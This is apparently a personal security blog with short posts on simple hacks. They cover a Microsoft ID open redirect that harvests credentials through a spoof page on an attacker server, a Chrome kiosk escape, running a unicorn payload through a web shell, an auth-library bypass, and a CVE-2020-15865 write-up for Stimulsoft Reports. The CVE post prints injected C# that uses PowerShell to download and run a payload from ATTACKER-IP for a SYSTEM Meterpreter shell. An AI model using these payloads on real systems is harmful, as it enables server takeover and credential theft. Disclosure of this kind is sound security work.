This blog is about the educational (and sometimes entertainment) value of simple hacks. For active vulnerabilities, real names are concealed.
Saturday, April 4, 2020
Buffer Overflow Practice
Friday, July 19, 2019
Microsoft ID Open Redirect
Edit the URL to redirect to ATTACKSERVER/signinGET.html, where the spoof page is located:
User logs in:
Page sends credentials as parameters:
Attacker can view credentials:
Wednesday, July 3, 2019
Location-based Mobile Game Workaround
Saturday, June 1, 2019
ctrl + s to Escape Chrome Kiosk
chrome.exe --kiosk "keepuseronthispage.com"
In theory, this is a restricted mode doesn't allow right-click context menu, doesn't show the browser address bar or the task bar, and keeps the user out of the system. So... how do we access the rest of the system? Well, if it's a Windows machine, as in this case, kiosk mode can easily be bypassed if the user presses ctrl + s.

Use the "save as" file explorer window that pops up to run cmd.exe. Now you have access to all the local resources.
NOTE: This doesn't seem to work on Mac OS...which is probably for the best.
Tuesday, May 28, 2019
Running Unicorn Payload Through Web Shell
Take the contents of the generated unicorn payload from the file, and run it as a Powershell command in the browser:
Bypass Auth Lib
Recently I found a problem with an authentication library. The hyperlink the user clicks to access private content looks something like this:
https://www.authenticateme.com/auth.asp?url=http://www.privatecontent.com/1337
So normally, after the user enters their credentials on the auth.asp page, they are redirected to privatecontent.com/1337 ... or they could just go directly to that page, bypassing any security restrictions. They can then enumerate and access other content based on the formula of the URL.
Additionally, this qualifies as an open redirect, since an attacker could append their own attack server's address to "url=", then send the link to a victim, and then the attacker will receive the credentials passed through the authentication page.
Friday, November 23, 2018
CVE-2020-15865 - Reporting C# Serialization: Remote Code Execution
The Stimulsoft Reports 2013.1.1600.0 library has code execution built in by design, and can be used to fully compromise the application server running it. Buried in the XML of the report file is a base-64 encoded string that contains C# code that a user can edit, then re-encode, submit, and execute.
It's pretty clear that the code is compiled and run, because the comments say "generated code - do not modify."
... so, of course, let's modify it!
I have to do a lot of testing at this point to make sure that modifying the code doesn't completely break it. After all, I still need it to run, I just want it to also run my code! The application kept crashing as I tried importing other namespaces that I could use, such as one for writing to the operating system (using System.IO). Looks like some of this namespaces are blacklisted, which is smart. It's making it difficult for me to get in.
Eventually the one able to add, without causing errors, is using System.Diagnostics. Which means I can use Process() to start a cmd.exe process and then use a Powershell command to download a payload and get a command shell with Meterpreter. That's what I do. With the malicious changes (in red), it looks like:
<script>
using System.Diagnostics;
namespace Reports {
public class New_Report : Stimulsoft.Report.StiReport
{
public New_Report()
{
this.InitializeComponent();
Process c = newProcess();
c.StartInfo.FileName = @"cmd.exe";
c.StartInfo.Arguments = @"/c powershell Invoke-WebRequest -Uri http://ATTACKER-IP/scary.exe -Outfile C:\ProgramData\scary.exe";
c.Start();
Process c1 = new Process();
c1.StartInfo.FileName = @"cmd.exe";
c1.StartInfo.Arguments = @"/c C:\ProgramData\scary.exe";
c1.Start();
}
#region StiReport Designer generated code - do not modify
#endregion StiReport Designer generated code - do not modify
}
}
</script>
Since this application is running as user NT AUTHORITY\SYSTEM, the Meterpreter shell returned to the attacker is also running as root.
Some disclaimers: it took a little discovery and trial and error to figure out that the server was running Windows, and which directory I would be able to download the payload to, permissions for executing Powershell scripts etc. Also, depending on how fast the download is, the attacker may have to download and execute the payload in two separate scripts.
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-15865




